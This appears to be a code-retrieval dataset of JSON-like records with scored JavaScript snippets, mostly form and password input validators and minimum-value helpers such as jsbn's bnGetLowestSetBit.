"f08b740f06ae26b34d9da071b7cf993c", "score": "0.5842505", "text": "function getUserInputs() {\n ask=true\n while (ask){\n smallAlphabet = confirm(\"Would you like to include lowercase letters?\");\n bigAlphabet = confirm(\"Would you like to include uppercase letters?\");\n numbers = confirm(\"Would you like to include numbers?\");\n specialAlphabet = confirm(\"Would you like to include special characters?\");\n if(!smallAlphabet && !bigAlphabet && !numbers && !specialAlphabet){\n alert(\"Please select at least one\")\n }else{\n if(smallAlphabet) {\n userInput = userInput.concat(lowercase)\n }\n if(bigAlphabet) {\n userInput = userInput.concat(uppercase)\n }\n if(numbers) {\n userInput = userInput.concat(numeric)\n }\n if(specialAlphabet) {\n userInput = userInput.concat(specialCharacters)\n }\n ask=false\n }\n }\n}", "title": "" }, { "docid": "7960d90854fddefce610a5acfdb936ad", "score": "0.583808", "text": "function invalidFormInput() {\n return (modalInstance.form.type == \"\")\n || (modalInstance.form.location == \"\")\n || (demoApp.regulatorBody == \"\");\n }", "title": "" }, { "docid": "6ed782f8d78421d314fa537d69d88496", "score": "0.58364415", "text": "function check(answers) {\n for(const key in answers) {\n if (Object.prototype.hasOwnProperty.call(answers, key) && !checkUserInput(answers[key])) {\n return false; \n }\n } \n return true;\n}", "title": "" }, { "docid": "40727c3b689d5b267f902dae6459b1e0", "score": "0.5833753", "text": "function checkInput() {\n\tvar U = document.getElementById(\"U\").value;\n\tvar P = document.getElementById(\"P\").value;\n\tvar RP = document.getElementById(\"R\").value;\n\n\t// out of length\n\tif (U.length < 6 || P.length < 6) {\n\t\tdocument.getElementById(\"six\").innerHTML = no;\n\t\tflags[0] = \"n\";\n\t} else {\n\t\tdocument.getElementById(\"six\").innerHTML = yes;\n\t\tflags[0] = \"y\";\n\t}\n\n\t// password and repeat not equal\n\tif (P !== RP || P.length == 0) {\n\t\tdocument.getElementById(\"match\").innerHTML = no;\n\t\tflags[1] = \"n\";\n\t} else {\n\t\tdocument.getElementById(\"match\").innerHTML = yes;\n\t\tflags[1] = \"y\";\n\t}\n\n\t// check letters and digits\n\tvar checkU = checkContain(U);\n\tvar checkP = checkContain(P);\n\tif (checkU == false || checkP == false) {\n\t\tdocument.getElementById(\"special\").innerHTML = no;\n\t\tflags[2] = \"n\";\n\t} else {\n\t\tdocument.getElementById(\"special\").innerHTML = yes;\n\t\tflags[2] = \"y\";\n\t}\n\n\t// check cases and digits\n\tif (!/[A-Z]/.test(U) || !/[A-Z]/.test(P)) {\n\t\tdocument.getElementById(\"upper\").innerHTML = no;\n\t\tflags[3] = \"n\";\n\t} else {\n\t\tdocument.getElementById(\"upper\").innerHTML = yes;\n\t\tflags[3] = \"y\";\n\t}\n\tif (!/[a-z]/.test(U) || !/[a-z]/.test(P)) {\n\t\tdocument.getElementById(\"lower\").innerHTML = no;\n\t\tflags[4] = \"n\";\n\t} else {\n\t\tdocument.getElementById(\"lower\").innerHTML = yes;\n\t\tflags[4] = \"y\";\n\t}\n\tif (!/[0-9]/.test(U) || !/[0-9]/.test(P)) {\n\t\tdocument.getElementById(\"num\").innerHTML = no;\n\t\tflags[5] = \"n\";\n\t} else {\n\t\tdocument.getElementById(\"num\").innerHTML = yes;\n\t\tflags[5] = \"y\";\n\t}\n}", "title": "" }, { "docid": "e3bb80fc06753c590a1afa8bafab90bc", "score": "0.582749", "text": "function checkRequirements() {\n if (firstPassword.length < 16) {\n firstInputIssuesTracker.add(\"fewer than 16 characters\");\n } else if (firstPassword.length > 100) {\n firstInputIssuesTracker.add(\"greater than 100 characters\");\n }\n\n if (!firstPassword.match(/[\\!\\@\\#\\$\\%\\^\\&\\*]/g)) {\n firstInputIssuesTracker.add(\"missing a symbol (!, @, #, $, %, ^, &, *)\");\n }\n\n if (!firstPassword.match(/\\d/g)) {\n firstInputIssuesTracker.add(\"missing a number\");\n }\n\n if (!firstPassword.match(/[a-z]/g)) {\n firstInputIssuesTracker.add(\"missing a lowercase letter\");\n }\n\n if (!firstPassword.match(/[A-Z]/g)) {\n firstInputIssuesTracker.add(\"missing an uppercase letter\");\n }\n\n var illegalCharacterGroup = firstPassword.match(/[^A-z0-9\\!\\@\\#\\$\\%\\^\\&\\*]/g)\n if (illegalCharacterGroup) {\n illegalCharacterGroup.forEach(function (illegalChar) {\n firstInputIssuesTracker.add(\"includes illegal character: \" + illegalChar);\n });\n }\n }", "title": "" }, { "docid": "0dfee1cfbf3f52226089cadfb94800b2", "score": "0.5826205", "text": "function validateInput() {\n const emailResponse = validateEmail(email);\n const passwordResponse = validatePassword(password);\n const reenteredPasswordResponse = validateReenteredPassword(password, reenteredPassword);\n\n handleEmailValidationResponse(emailResponse);\n handlePasswordValidationResponse(passwordResponse);\n handleReenteredPasswordValidationResponse(reenteredPasswordResponse);\n\n return emailResponse === SUCCESS && passwordResponse === SUCCESS && reenteredPasswordResponse === SUCCESS;\n }", "title": "" }, { "docid": "78fc7103200567658d0cc09e94f4c3da", "score": "0.5801486", "text": "function checkSignUpForm() {\t\n\tif(checkPass() && isNameOk() && isPhoneOk())\n\t\treturn true;\t\t \n\treturn false;\t\n}", "title": "" }, { "docid": "a30968b46826df1c9ae94d5799b7a801", "score": "0.57998776", "text": "function answerChecker(input){\n const userAns = input;\n\n console.log('checking your answer...');\n \n if(userAns === STORE.sliceArray[STORE.pageNumber-1].correctAnswer){\n STORE.totalCorrect++;\n return true;\n }\n else{\n STORE.totalWrong++;\n return false;\n }\n}", "title": "" }, { "docid": "95ecfd86228f1a57a8207f9ad27898e5", "score": "0.57950336", "text": "function chars(input){\r\n return true; // default validation only\r\n}", "title": "" }, { "docid": "dd40a8e42c07f81f4783d00273518b38", "score": "0.579367", "text": "function validateInput(value) {\n var integer = Number.isInteger(parseFloat(value));\n var sign = Math.sign(value);\n\n //User can select 'q' to quit the program.\n if (value === \"q\") {\n process.exit();\n\n } else if (integer && (sign === 1)) {\n return true;\n\n } else {\n return 'Please enter a whole number greater than 0';\n }\n}", "title": "" }, { "docid": "1327ec58e388eb50aee408457d07add8", "score": "0.57867956", "text": "function promptCriteria () {\n passLength = parseInt (window.prompt(\"Input between 8 and 128 characters\"));\n if(isNaN(passLength) || passLength < 8 || passLength > 128){\n alert (\"INVALID PASSWORD LENGTH\");\n passLength = 0;\n } else {\n useUpper = confirm(\"Would you like Uppercase letters?\");\n useLower = confirm(\"Would you like Lowercase letters?\");\n useNum = confirm(\"Would you like Numbers?\");\n useSpec = confirm(\"Would you like Special characters?\");\n if (!useUpper && !useLower && !useNum && !useSpec){\n alert (\"MUST CHOOSE AT LEAST ONE TYPE!\");\n passLength = 0;\n }\n }\n if (passLength !== 0) {\n password = generatePassword();\n writePassword();\n }\n}", "title": "" }, { "docid": "6330eb546016ac32ffb25d41db1c7922", "score": "0.5784299", "text": "function checkSetup() {\n if (CurrentUserPos.length < 2){\n showAlert(\"Need your submarine!\", 1500);\n return false;\n }\n\n /*\n if (CurrentKillerPos.length < 2){\n showAlert(\"Need at least one killer!\", 1500);\n return false;\n }\n\n if (FuelCount == 0){\n showAlert(\"Need at least one fuel cell!\", 1500);\n return false;\n }\n */\n\n return true;\n}", "title": "" }, { "docid": "6818bda04e9a3376f84364acf2120999", "score": "0.5781827", "text": "function checkInput2(){\n rightOrWrong();\n}", "title": "" }, { "docid": "0e9a7af8390f7ad99f44ae0f3d72f101", "score": "0.57780254", "text": "function validate() {\n if (pass_okay && user.length > 2 && root_pass_okay) {\n //The form can submit\n return true;\n } else {\n if (!pass_okay) {\n pass_match.show();\n }\n if (user.length < 2) {\n user_alert.show();\n }\n if (!root_pass_okay) {\n root_alert.show();\n }\n //The form will not submit\n return false;\n }\n}", "title": "" }, { "docid": "22ed3a684efe00c1f6b644662b8e7d1d", "score": "0.5775484", "text": "function askLowerFunk(){\n var askLower = prompt(\"Would you like to include lowercase letters in the password? Please enter Yes or No.\")\n askLower2 = askLower.toLocaleLowerCase()\n if(askLower2 != \"yes\" && askLower2 != \"no\"){\n alert(\"You must select enter Yes or No\")\n askLowerFunk()\n }\n }", "title": "" }, { "docid": "2921e99284dd9d42942395c5fef181f0", "score": "0.5770464", "text": "function autoValid(input){\n return true; // default validation only\n}", "title": "" }, { "docid": "2921e99284dd9d42942395c5fef181f0", "score": "0.5770464", "text": "function autoValid(input){\n return true; // default validation only\n}", "title": "" }, { "docid": "2921e99284dd9d42942395c5fef181f0", "score": "0.5770464", "text": "function autoValid(input){\n return true; // default validation only\n}", "title": "" }, { "docid": "3ec6ad182d1cf12077019687f64a72a8", "score": "0.5766831", "text": "function usage(){\r\n //Gas input\r\n var gas = document.getElementById('gas').value;\r\n\r\n //Determine if input numeric\r\n if(isNaN(gas)){\r\n alert('Both entries must be numeric');\r\n }else{\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "12e1027fca2e5bef3e4a923e09151910", "score": "0.5763481", "text": "function validateInput(param) {\n \n}", "title": "" }, { "docid": "bd9a2eb1997c36434fa5c7e748f285ae", "score": "0.5761841", "text": "function checkInputs() {\n if (inputsValid === false) {\n if (repTotal.val() === \"\" || repTotal.val() == 0) {\n toastBody.text(\"Please enter reps\")\n toast.toast('show');\n } else\n if (restBetweenReps.val() === \"\" || restBetweenReps.val() == 0) {\n toastBody.text(\"Please enter rest time\")\n toast.toast('show');\n } else\n if (setTotal.val() === \"\" || setTotal.val() == 0) {\n toastBody.text(\"Please enter sets\")\n toast.toast('show');\n } else\n if (restBetweenSets.val() === \"\" || restBetweenSets.val() == 0) {\n toastBody.text(\"Please enter break time\")\n toast.toast('show');\n } else {\n inputsValid = true;\n startWorkout();\n }\n } else {\n startWorkout();\n }\n}", "title": "" }, { "docid": "4b9d36fc22ed22d82b9a2710bd8b4d95", "score": "0.5759664", "text": "validateGesture(player){\n player.selection = prompt(player.name + ': select from list: ' + this.gestureOptions)\n\n if(!this.gestureOptions.includes(player.selection)){\n alert('Incorrect value. Please try again.');\n this.validateGesture(player)\n }\n \n }", "title": "" }, { "docid": "b4323d2d7cacaad5384b3ccdcd97c143", "score": "0.5759636", "text": "function inputCheck(e) {\n if (e.code == downKey || e.code == upKey || e.code == leftKey ||\n e.code == rightKey) {\n alert(\"please choose diffrent key! you have choose this key already\");\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "78f7786f2669085b7bb1bcf429b4486c", "score": "0.5757445", "text": "function esVacio(input){\n\t\treturn input.value.length == 0;\n\t}", "title": "" }, { "docid": "7f16eb17acabdd8aacf0f2c73f2bfa5a", "score": "0.57562345", "text": "function acceptInput() {\n // Voice prompt for user input\n let options = {\n pitch: Math.random() * 2 ,\n rate: 1.25\n };\n responsiveVoice.speak('Your turn!', 'UK English Male', options);\n // Start accepting input\n input = true;\n ear.visible = true;\n annyang.resume();\n}", "title": "" }, { "docid": "afd757dedf7815a0f573fd48d04dc0b0", "score": "0.5753969", "text": "function validInput(){\n if(isNaN(userInput)){\n alert(\"Please enter a number from 1 to 100. No letters accepted.\");\n clearUserInput();\n } \n if(userInput < 0 || userInput > 100){\n alert(\"Please enter a number from 1 to 100.\");\n clearUserInput();\n } \n }", "title": "" }, { "docid": "80ea84f905b35726fdbc9f2c7dd3c326", "score": "0.5751686", "text": "function validateInputLogin($userName,$pass)\n{\n if($userName !== '' && $userName !== undefined && $pass !== '' && $pass !== undefined)\n {\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "4ba7be7066e1262bfbf277740a4ba7a5", "score": "0.5747722", "text": "function isValidInput(input) {\n let regex = /^[A-Za-z]+$/\n if (regex.test(input)) {\n return true;\n }\n else {\n snackbar.show(\"Please do not enter any numbers, spaces, or special characters in your input.\");\n return false;\n }\n}", "title": "" }, { "docid": "3fd687a7a87bad6122cb9a3c27cca8f0", "score": "0.57454646", "text": "function isScannerInput() {\n if ($(\"#suggetion\").val().length <= 2)\n return false;\n\n return (((inputStop - inputStart) / $(\"#suggetion\").val().length) < 15);\n }", "title": "" } ]
771afab394bb3929d7d17991b8a78299
Returns the smallest representable number.
[ { "docid": "c47043d2e38b8480a0f1bdaa7145e3f0", "score": "0.0", "text": "epsilon() {\n return this.floatPrecision() === 32 ? EPSILON_FLOAT32 : EPSILON_FLOAT16;\n }", "title": "" } ]
[ { "docid": "9f166cc8f0deeff5739ca904868ec835", "score": "0.72650707", "text": "function min(a, b) { return Math.floor(Math.min(a, b)); }", "title": "" }, { "docid": "9f166cc8f0deeff5739ca904868ec835", "score": "0.72650707", "text": "function min(a, b) { return Math.floor(Math.min(a, b)); }", "title": "" }, { "docid": "c2abd944f0c770da4ca6227d84cf0fa3", "score": "0.7090124", "text": "function findSmallestNum(arr) {\n\treturn Math.min.apply( Math, arr );\n}", "title": "" }, { "docid": "645ce38b251716d6c05e31a52b971093", "score": "0.70832986", "text": "function getSmallest(numbers) {\n\n}", "title": "" }, { "docid": "1de155548298554a9ef03f0a8f79c615", "score": "0.7073064", "text": "function smallestNumber(num1,num2){\n return Math.min(num1,num2);\n}", "title": "" }, { "docid": "21fbdae8ec280369d3f3af8594666640", "score": "0.6987045", "text": "function smallestNumber(number1,number2) {\n return Math.min(number1,number2);\n}", "title": "" }, { "docid": "6bee0baeb0282ba8e1b8534e6bf04dcf", "score": "0.68315727", "text": "function minConvert(num) {\n if (num <= 0) {\n return 0\n } else {\n return 1\n }\n }", "title": "" }, { "docid": "7104f66dbf9f8dc728c7d8c886795bbd", "score": "0.6806086", "text": "function min(a, b) {\n return Math.floor(Math.min(a, b));\n }", "title": "" }, { "docid": "09ae3e6f549986325bf0bfd377ce37d3", "score": "0.68052524", "text": "function lowestNumber(array) {\n return Math.min.apply(null, array)\n}", "title": "" }, { "docid": "19c07fbca030d8e62004e04be208c790", "score": "0.677945", "text": "function min( a, b ){ return Math.min( a, b ) }", "title": "" }, { "docid": "64b81afdc47a60b10f48c62c1c464226", "score": "0.6764809", "text": "function smallestNumber(val1, val2){\n\tif(val1 < val2){\n\t\treturn val1;\n\t}else{\n\t\treturn val2;\n\t}\n}", "title": "" }, { "docid": "4560e2b18716b02d46db370e46bc84f6", "score": "0.6698544", "text": "function findTheMin(num1, num2) {\n return Math.min(num1, num2);\n}", "title": "" }, { "docid": "9a6a720909febd0b9ac36be843c6b295", "score": "0.66594666", "text": "function smallestNumber(num1, num2) {\n if (num1 < num2) {\n return num1\n }\n return num2\n}", "title": "" }, { "docid": "72bb69eeee42268a2fca7279d9469d56", "score": "0.65967643", "text": "function min(num1, num2) {\n\treturn Math.min(num1, num2);\n}", "title": "" }, { "docid": "1c3e8402863d3127c6847ea58a35905c", "score": "0.65749705", "text": "function getLowestNumber(x, y, z){\n\n}", "title": "" }, { "docid": "321aface5773bd15eb030d116c7c818c", "score": "0.6563482", "text": "function smallestValue(...args) {\n return Math.min(...args)\n}", "title": "" }, { "docid": "a4b7936b130a01276373fad41f036ffd", "score": "0.65074486", "text": "smallest(current = this.root) {\n const recursiveSmallest = (node) => !node.left\n ? node.value\n : recursiveSmallest(node.left);\n\n return recursiveSmallest(current);\n }", "title": "" }, { "docid": "a2e663b628dda60138cf4656efffe3ed", "score": "0.64789957", "text": "function smallestNumber([a, b, c, d, e, f, g, h, i, j]) {\n var arr = [a, b, c, d, e, f, g, h, i, j];\n var smallest = arr[0];\n for (var i = 0; i < arr.length; i++) {\n if (arr[i] < smallest) {\n smallest = arr[i];\n }\n }\n return smallest;\n}", "title": "" }, { "docid": "cc51e8cac02067e1942ee03febbbef3f", "score": "0.6478284", "text": "function indexOfSmallest(array) { return array.indexOf(Array.min(array).toString()); }", "title": "" }, { "docid": "95a222a636239f97912152e7cb6c2091", "score": "0.6453835", "text": "function minValue(values) {\n\tlet sorted = values.sort();\n\tlet lowestNums = [];\n\n\tfor (let i = 0; i < sorted.length; i++) {\n\t\tif (lowestNums.indexOf(sorted[i]) === -1) {\n\t\t\tlowestNums.push(sorted[i]);\n\t\t}\n\t}\n\n\treturn Number(lowestNums.join(''));\n}", "title": "" }, { "docid": "5560e3eff8e7629cea74e94a002d6f19", "score": "0.64456254", "text": "get min() {\n return this._toType(this._scaler.min);\n }", "title": "" }, { "docid": "5560e3eff8e7629cea74e94a002d6f19", "score": "0.64456254", "text": "get min() {\n return this._toType(this._scaler.min);\n }", "title": "" }, { "docid": "5d8341619cec4d1ef47617cce0810539", "score": "0.6440455", "text": "function min(arr) {\n var minNum = Math.min.apply(Math, arr);\n return minNum;\n}", "title": "" }, { "docid": "8699611b38aee75a9a655b7d49173fa0", "score": "0.64238894", "text": "function findMinimum (arr){\n\tlet min = +Infinity;\n\tfor(num of arr)\n\t\tmin = Math.min(min, num);\n\treturn min;\n}", "title": "" }, { "docid": "4fd91353e2f7a040848e0d5dec61eda7", "score": "0.6418475", "text": "function min(num1, num2) {\n\tif (num1 < num2) {\n return num1\n } else {\n return num2\n }\n}", "title": "" }, { "docid": "ba56c7234dd74ff464e1b40dc2294d83", "score": "0.6410295", "text": "function min(num1, num2) {\n if(num1 < num2)\n return num1;\n else\n return num2;\n}", "title": "" }, { "docid": "8159149dc4eb85a5fb4529d52cfeb5a8", "score": "0.6393061", "text": "function return_minimal_element(numbers){\n var min = 0\n for (var i = 0; i < numbers.length; i++){\n if (min < numbers[i]){\n min = min;\n }else if (min > numbers[i]){\n min = numbers[i]\n }\n }\n return min\n}", "title": "" }, { "docid": "608d3ccbd8245f612dd716a58355d98f", "score": "0.6392873", "text": "function getMin(array) {\n let len = array.length, min = Infinity;\n while (len--) {\n if (Number(array[len]) < min) {\n min = Number(array[len]);\n }\n }\n return min;\n }", "title": "" }, { "docid": "76c0c0b8943586b699155b20898f6721", "score": "0.63881487", "text": "function minnum(lst){\n\n min=lst[0] //assume correct value to element in the list\n\n for(i=0; i<lst.length();i++){\n if(lst[i]<min){\n min=lst[i]\n }\n }\n return min\n}", "title": "" }, { "docid": "c77113ab604a20d08b0f52d1a5719b56", "score": "0.63841146", "text": "function min(num1,num2){\n\tresult = Math.min(num1,num2);\n\treturn result;\n}", "title": "" }, { "docid": "ac8c45dc33c9fd5e96c0b1c21fafc445", "score": "0.6382119", "text": "function smallest(a) {\n return Math.min.apply({}, a);\n}", "title": "" }, { "docid": "86a77f2dddfc9360409b5df69a5c8128", "score": "0.63437015", "text": "function min(numbers){\n let i = 0;\n let currentMin = numbers[0];\n while (i < numbers.length) {\n if (numbers[i] < currentMin) {\n currentMin = numbers[i];\n }\n i++;\n }\n return currentMin;\n}", "title": "" }, { "docid": "8cb05ef9804fc4f9bf0e8146ddd37d1e", "score": "0.6336017", "text": "function min(a,b){ return b<a ? b : a ; }", "title": "" }, { "docid": "9bf049d0aa370deca1f4e82678d008da", "score": "0.6334082", "text": "function smallest(a, b) {\n if (a <= b) {\n return a;\n }\n return b;\n}", "title": "" }, { "docid": "5f2dfbbc170d3a6f33fb4549000fe1e9", "score": "0.63325554", "text": "function min(x,y) {return x<y ? x : y}", "title": "" }, { "docid": "6740e545ae8b4bf4113674b530946ed6", "score": "0.6326432", "text": "function min( num1, num2 ) {\n\tif ( num1 < num2 )\n\t\treturn num1;\n\telse \t\t\n\t\treturn num2;\n}", "title": "" }, { "docid": "fb2933319c19438751075c31e5acfe18", "score": "0.6318147", "text": "min() {\n let min = 100000;\n for (let a = 0; a < this.size(); a++) {\n if (this.v[a] < min) {\n min = this.v[a];\n }\n }\n return min;\n }", "title": "" }, { "docid": "9a03e3be31e2cd3d385e72d729546e86", "score": "0.6305618", "text": "function min(a, b) {\n if (a < b)\n return a;\n else\n return b;\n}", "title": "" }, { "docid": "5bf080d5715fb2d51c6c95c0312292f8", "score": "0.6291167", "text": "function smallest(numbers){\n let min = numbers[0]\n for (i = 1; i < numbers.length; i++){\n if(numbers[i] < min){\n min = numbers[i]\n }\n }\n return min\n}", "title": "" }, { "docid": "fb70d945bd9a40fbb6987eac77ae97f8", "score": "0.6283161", "text": "function min(num1, num2) {\n console.log(Math.min(num1, num2));\n}", "title": "" }, { "docid": "140bb8fd8e0f107fabe035ef6fddc343", "score": "0.6276782", "text": "function min(a,b) {\n return (a<b) ? a : b\n}", "title": "" }, { "docid": "b07cfe137ee680ff3117cbb666bc56e8", "score": "0.6272333", "text": "function findSmallestNumberAmongMixedElements(arr) {\n let digits = arr.filter(x => typeof x === 'number');\n return !digits.length ? 0 : Math.min(...digits);\n}", "title": "" }, { "docid": "a820e04c8efbdab8a238d35e9d15f4b3", "score": "0.6253385", "text": "function min(iterable) {\n var keyFn = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : _utils.numberIdentity;\n return reduce_(iterable, function (x, y) {\n return keyFn(x) < keyFn(y) ? x : y;\n });\n}", "title": "" }, { "docid": "5542eb55c15e729e5619c08fa8897c91", "score": "0.62325853", "text": "function bnGetLowestSetBit()\n{\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i]);\n if (this.s < 0) return this.t * this.DB;\n return -1;\n}", "title": "" }, { "docid": "5de720ed2d01d3a4db1a2904bbe20f0a", "score": "0.62221164", "text": "function extractLowestSetBit(num) {\n return num & ~(num - 1);\n}", "title": "" }, { "docid": "09dbab06595a7fefb4364af2040f9b27", "score": "0.621958", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i]);\n if (this.s < 0) return this.t * this.DB;\n return -1;\n }", "title": "" }, { "docid": "194309ecd181f3357830376edd0736eb", "score": "0.6213303", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n}", "title": "" }, { "docid": "194309ecd181f3357830376edd0736eb", "score": "0.6213303", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n}", "title": "" }, { "docid": "194309ecd181f3357830376edd0736eb", "score": "0.6213303", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n}", "title": "" }, { "docid": "194309ecd181f3357830376edd0736eb", "score": "0.6213303", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n}", "title": "" }, { "docid": "a8f041193cc17bd631b44d2f014cec77", "score": "0.6208503", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i]);\n if (this.s < 0) return this.t * this.DB;\n return -1;\n}", "title": "" }, { "docid": "a8f041193cc17bd631b44d2f014cec77", "score": "0.6208503", "text": "function bnGetLowestSetBit() {\n for (var i = 0; i < this.t; ++i)\n if (this[i] != 0) return i * this.DB + lbit(this[i]);\n if (this.s < 0) return this.t * this.DB;\n return -1;\n}", "title": "" }, { "docid": "3e0eefb3cc49953f1a843b246bfd0e74", "score": "0.62074536", "text": "function _getSmallestElement(array) {\r\n for (let i=0; i<array.length;i++) {\r\n let value= array[i];\r\n smallestNumber = (value < smallestNumber) ? value: smallestNumber; \r\n }\r\n console.log(`Smallest element in array ${array} is ${smallestNumber} `);\r\n}", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "8040e9257fb2c20409fc30f491e7580b", "score": "0.6206868", "text": "function bnGetLowestSetBit() {\n for(var i = 0; i < this.t; ++i)\n if(this[i] != 0) return i*this.DB+lbit(this[i]);\n if(this.s < 0) return this.t*this.DB;\n return -1;\n }", "title": "" }, { "docid": "510117c68d7b5af20fbdd606d18b2bc2", "score": "0.6202443", "text": "function min() {\n return Array.prototype.reduce.call(arguments, function(curr, val) {\n return (val < curr) ? val : curr;\n }, Infinity);\n}", "title": "" }, { "docid": 